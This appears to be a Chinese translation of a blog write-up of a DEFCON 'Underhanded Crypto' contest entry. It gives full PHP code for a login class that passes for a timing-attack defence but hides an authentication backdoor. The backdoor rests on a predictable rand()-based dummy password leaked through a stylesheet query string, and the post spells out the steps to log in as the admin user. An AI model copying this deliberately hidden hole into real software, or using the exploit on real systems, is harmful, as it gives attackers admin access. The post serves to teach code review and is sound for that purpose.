Web應用隱形後門的設計與實現
0x00 導言
通俗地說,“後門”通常是計算機犯罪分子在首次攻陷系統之後留下的一個程式程式碼,以便於將來再次訪問該系統。
但是,後門還可以是故意安插在軟體專案中的安全漏洞,以便於攻擊者將來透過它來控制你的系統。下面,我們就專門來討論一下第二種情形。
本文將涉及許多具體程式碼,如果乍看看不明白也不要緊,可以直接跳過,我會隨後對其進行詳盡的介紹。
0x01 卑鄙密碼競賽
繼“卑鄙C程式大賽”之後,從2015開始,Defcon駭客大會又推出了“卑鄙密碼競賽”,以尋找和備案那些能夠巧妙地顛覆加密程式碼的最好方法。在DEFCON 23大會上進行了兩項賽事:
- GnuPG後門。
- 口令認證後門。
我參加了第二項賽事,並最終獲勝。 在本文中,我將介紹自己參賽作品的執行機制,如何讓幹邪惡勾當的程式碼看上去道貌岸然,以及這些對軟體開發的直接影響。
0x02 如何重新設計口令認證後門
首先,我們假設政府工作人員發現了本博主,並希望僱傭我去實現一個後門。
第一步:杜撰一個非常棒的封面故事。
就在DEFCON 23開會之前,密碼專家Scott Contini剛剛釋出了一篇介紹時序邊通道攻擊列舉使用者帳戶的文章,其工作原理如下所示:
- 假設你想透過使用者名稱與口令登入web應用。
- 這個使用者名稱是否已經註冊? 如果是,就繼續。否則顯示“bad username/password”。
- 然後驗證口令,實際上就是驗證該口令的雜湊值是否匹配。如果不匹配的話,就返回“bad username/password”。
- 如果透過了第3步,那麼這個使用者就算是透過了認證。
站在攻擊者的角度來看,令第二個步驟失效要比讓第三個步驟失效更能節約時間。如這樣做的話,即使其他部分牢不可破,攻擊者仍然可以傳送成批的請求來找出有效的使用者名稱。
時序洩漏實際上就是後門的一座金礦,因為大部分程式設計師都不瞭解這一安全概念,而理解這一概念的資訊保安專家又不是程式設計師。即使你編寫的與加密有關的程式碼安全性非常差,大部分開發人員也不會看出什麼門道,因為他們知道的並不比你更多。但如果我們這樣做的話,比賽就會很無聊。
到目前為止,我們的總體規劃是這樣的:
- 推薦一個解決方案,偽稱可以解決基於時序攻擊的賬戶列舉漏洞。
- 然後在我們的解決方案中隱藏一個後門。
- 同時要注意偽裝,使其即使在普通的開發人員面前也不會因引起他們的警覺。
第二步:設計階段
下面是TimingSafeAuth類的完整程式碼:
#!php
<?php
/**
* A password_* wrapper that is proactively secure against user enumeration from
* the timing difference between a valid user (which runs through the
* password_verify() function) and an invalid user (which does not).
*/
class TimingSafeAuth
{
private $db;
public function __construct(\PDO $db)
{
$this->db = $db;
$this->dummy_pw = password_hash(noise(), PASSWORD_DEFAULT);
}
/**
* Authenticate a user without leaking valid usernames through timing
* side-channels
*
* @param string $username
* @param string $password
* @return int|false
*/
public function authenticate($username, $password)
{
$stmt = $this->db->prepare("SELECT * FROM users WHERE username = :username");
if ($stmt->execute(['username' => $username])) {
$row = $stmt->fetch(\PDO::FETCH_ASSOC);
// Valid username
if (password_verify($password, $row['password'])) {
return $row['userid'];
}
return false;
} else {
// Returns false
return password_verify($password, $this->dummy_pw);
}
}
}
當timingsafeauth類被例項化時,它會建立一個啞口令(dummy password) ,這是由於呼叫函式noise()(它改編自anchorcms,定義如下)所致:
#!php
/**
* Generate a random string with our specific charset, which conforms to the
* RFC 4648 standard for BASE32 encoding.
*
* @return string
*/
function noise()
{
return substr(
str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz234567', 16)),
0,
32
);
}
一定要記住這個noise()函式,因為它是後門的關鍵所在。
當我們例項化了所有登入指令碼都需要的timingsafeauth物件之後,它最終會將一個使用者名稱和密碼傳遞給timingsafeauth -> authenticate(),這將執行一個資料庫查詢,然後執行下面兩件事之一:
- 如果使用者名稱被發現,那麼就驗證提供的口令,方法是比較該使用者相應檔案的bcrypt雜湊值進行匹配,具體要用到
password_verify()
函式。 - 否則,利用提供的口令和偽造的bcrypt雜湊值作為引數來呼叫
password_verify()
。
由於$->dummy_pw
是隨機生成的字串的bcrypt雜湊值,因此,我們總是希望上面的第二種選擇失敗而返回false,但這個過程總是需要花費大約相同的時間(從而隱藏時序側通道),對嗎?
0x03 藏在眼皮底下的漏洞
好吧,最大的謊言就藏在這裡:
#!php
// Returns false
return password_verify($password, $this->dummy_pw);
當然這個函式並不會總是返回false值,如果攻擊者猜到了$this->dummy_pw裡面的“啞口令”的話,它就能夠返回true值了。正確的實現如下所示:
#!php
password_verify($password, $this->dummy_pw);
return false;
讓我們假設審計人員在沒有明確證據面前會對這段程式碼作出無罪推定。“如果我的啞口令是硬編碼的話,肯定會引起別人的關注,但是這裡它是隨機生成的,因此它總能夠避免引起別人的懷疑,對吧?”
不! 因為從密碼學的角度來看,str_shuffle()
函式算不上安全的偽隨機數發生器。要理解這一點,我們必須來考察一下str_shuffle()
函式的PHP實現程式碼:
#!php
static void php_string_shuffle(char *str, zend_long len) /* {{{ */
{
zend_long n_elems, rnd_idx, n_left;
char temp;
/* The implementation is stolen from array_data_shuffle */
/* Thus the characteristics of the randomization are the same */
n_elems = len;
if (n_elems <= 1) {
return;
}
n_left = n_elems;
while (--n_left) {
rnd_idx = php_rand();
RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
if (rnd_idx != n_left) {
temp = str[n_left];
str[n_left] = str[rnd_idx];
str[rnd_idx] = temp;
}
}
}
你注意到rnd_idx = php_rand();
這一行了嗎? 對於rand(),是一個常見的線性同餘隨機數生成器,重要的是這種型別的隨機數生成器是可破解的,具體可以參考https://stackoverflow.com/a/15494343/2224584。
下面我們簡單的回顧一下:
• 如果你猜中了啞口令,那麼函式TimingSafeAuth->authenticate()就會返回true。 • 這個啞口令是由一個不安全的,並且是可預測的隨機數生成器生成的,這個隨機數生成器取自一個現實中的PHP專案。 • 只有那些非常熟悉密碼學以及精通PHP的開發人員才會意識到這裡隱藏的危險。
這個是有用的,但沒有多少可利用性。在接下來的實現階段,我們就會把這個故意設計的安全漏洞安插到我們的程式碼之中。
第三步:實現後門
我們的登入表單大致如下所示:
#!php
<?php
# This is all just preamble stuff, ignore it.
require_once dirname(__DIR__).'/autoload.php';
$pdo = new \PDO('sqlite:'. dirname(__DIR__) . '/database.sql');
session_start();
# Start here
if (!isset($_SESSION['userid'])) {
# If you aren't currently logged in...
if (!empty($_POST['csrf']) && !empty($_COOKIE['csrf'])) {
# If you sent a CSRF token in the POST form data and a CSRF cookie
if (hash_equals($_POST['csrf'], $_COOKIE['csrf'])) {
# And they match (compared in constant time!), proceed
$auth = new TimingSafeAuth($pdo);
# Pass the given username and password to the authenticate() method.
$userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);
# Take note of the type cast to (int).
if ($userid) {
// Success!
$_SESSION['userid'] = $userid;
header("Location: /");
exit;
}
}
}
# This is the login form:
require_once dirname(__DIR__).'/secret/login_form.php';
} else {
# This is where you want to be:
require_once dirname(__DIR__).'/secret/login_successful.php';
}
現在,我們來看最後一個程式碼塊(login_form_.PHP
,該程式碼用來給未授權的使用者生成登入表單):
#!php
<?php
if (!isset($_COOKIE['csrf'])) {
# Remember this?
$csrf = noise();
setcookie('csrf', $csrf);
} else {
$csrf = $_COOKIE['csrf'];
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Log In</title>
<!-- # Below: We leak rand(); but that's totally benign, right? -->
<link rel="stylesheet" href="/style.css?<?=rand(); ?>" type="text/css" /><?php /* cache-busting random query string */ ?>
</head>
<body>
<form method="post" action="/">
<input type="hidden" name="csrf" value="<?=htmlentities($csrf, ENT_QUOTES | ENT_HTML5, 'UTF-8'); ?>" />
<table>
<tr>
<td>
<fieldset>
<legend>Username</legend>
<input type="text" name="username" required="required" />
</fieldset>
</td>
<td>
<fieldset>
<legend>Password</legend>
<input type="password" name="password" required="required" />
</fieldset>
</td>
</tr>
<tr>
<td colsan="2">
<button type="submit">
Log In
</button>
</td>
</tr>
</table>
</form>
</body>
</html>
這段程式碼主要就是生成一個完全正常的口令表單。它還包括基本的CSRF保護措施,也是由noise()來實現的。 每當你載入沒有cookie的頁面時,它都會由noise()生成的輸出來作為一個新的CSRF cookie。
當然單靠這些我們就可以找出隨機數生成程式的種子值並預測出啞口令,但是,我們還可以進一步透過樣式查詢字串來洩露rand()的輸出。 實際上,這個新的CSRF cookie對於在無需失敗的登入嘗試的條件下來判斷noise()的預測是否成功非常有用。
你有沒有注意到$userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);
這一行程式碼呢? 它實際上就是我們後門中的另一行程式碼。當轉換為整數的時候,PHP就會把true的值設定為1。在Web應用中,使用者識別符號取值較低的,通常都與管理賬戶有關。
0x04 利用方法
將上面的所有資訊綜合起來,你就會發現實際上利用方法非常簡單:
- 向登入表單傳送一些良性的請求,並且每次都要故意漏掉CSRF cookie,同時密切關注HTML中style.css後面的查詢字串。
- 不要忘了你可以準確地預測下一個CSRF cookie,你可以將它作為隨機選擇的使用者名稱的一個口令。需要注意的是,這個使用者名稱必須足夠隨機,以確保它不是一個有效的使用者名稱。
- 最終會作為userid =1的使用者登入。
0x05 這個後門給我們的提示是什麼?
- 不要火急火燎的讓開發人員修補他們尚未完全弄明白的安全漏洞。
- 對於那些難題的新穎解決方案都應該透過專家進行仔細審查。
- 使用者列舉是一個非常棘手的難題。在我看來,與其將力氣花在解決使用者列舉問題上面,還不如設法提高口令的安全性。口令管理程式能夠帶來更大的幫助!
相關文章
- Go Web 程式設計入門--應用 ORM2020-02-16GoWeb程式設計ORM
- 隱形通訊錄:全新iOS通訊錄應用概念設計2015-01-14iOS
- Web 魔方模擬器的設計與實現2018-08-27Web
- Go Web 程式設計入門--應用資料庫2020-02-13GoWeb程式設計資料庫
- 談響應式web設計程式碼實現2014-12-15Web
- Web應用的快取設計模式2019-05-11Web快取設計模式
- 隱私計算在智慧城市建設中的應用:平衡公共安全與個人隱私2024-05-31
- HT for Web中3D流動效果的實現與應用2014-06-05Web3D
- 基於.NET架構的樹形動態報表設計與應用2021-09-09架構
- Java Web 模板程式碼生成器的設計與實現2017-03-15JavaWeb
- iOS——隱形水印的演算法和實現2019-05-07iOS演算法
- 圖形驗證碼設計實現2018-04-04
- React/Vue 實現的前端應用, java/Go/Python 實現的後端應用,前後端分離的應用部署的最佳實踐2024-10-20ReactVue前端JavaGoPython後端
- Web應用多賬號系統設計及微信掃碼登入實現2016-05-28Web
- Titan 的設計與實現2019-01-23
- LFU 的設計與實現2022-12-27
- API的設計與實現2015-06-24API
- C#中介面的顯式實現與隱式實現及其相關應用案例2024-05-30C#
- Blazor Web 應用如何實現Auto模式2024-08-03BlazorWeb模式
- 八、【spring】web應用安全設計2020-06-02SpringWeb
- 擁抱Web設計新趨勢:SVG Sprites實踐應用2016-07-30WebSVG
- SQL Server後設資料的管理與應用2009-03-31SQLServer
- 混合現實設計:火星計劃頭戴裝置配套應用的設計心得2020-02-24
- 用CTI實現與Web交談 (轉)2007-12-02Web
- 用 CSS 實現三角形與平行四邊形2015-08-18CSS
- javascript設計模式與應用2019-04-06JavaScript設計模式
- 門羅幣隱私保護之隱形地址2024-10-16
- 社群門診藥品銷售系統的設計與實現2019-02-11
- Spring IoC容器與應用上下文的設計與實現2019-06-26Spring
- Picker元件的設計與實現2020-07-07元件
- RedisHttpSession 的設計與實現2016-07-30RedisHTTPSession
- 限流 SDK 的設計與實現2024-03-18
- Redis 在 Web 專案中的應用與實踐2019-02-21RedisWeb
- Redis在Web專案中的應用與實踐2019-02-17RedisWeb
- 應用設定Setting的實現2020-04-07
- Redis設計與實現2018-12-04Redis
- 《redis設計與實現》2020-11-01Redis
- 基於Web開發的圖片社群網站的設計與實現2017-03-05Web網站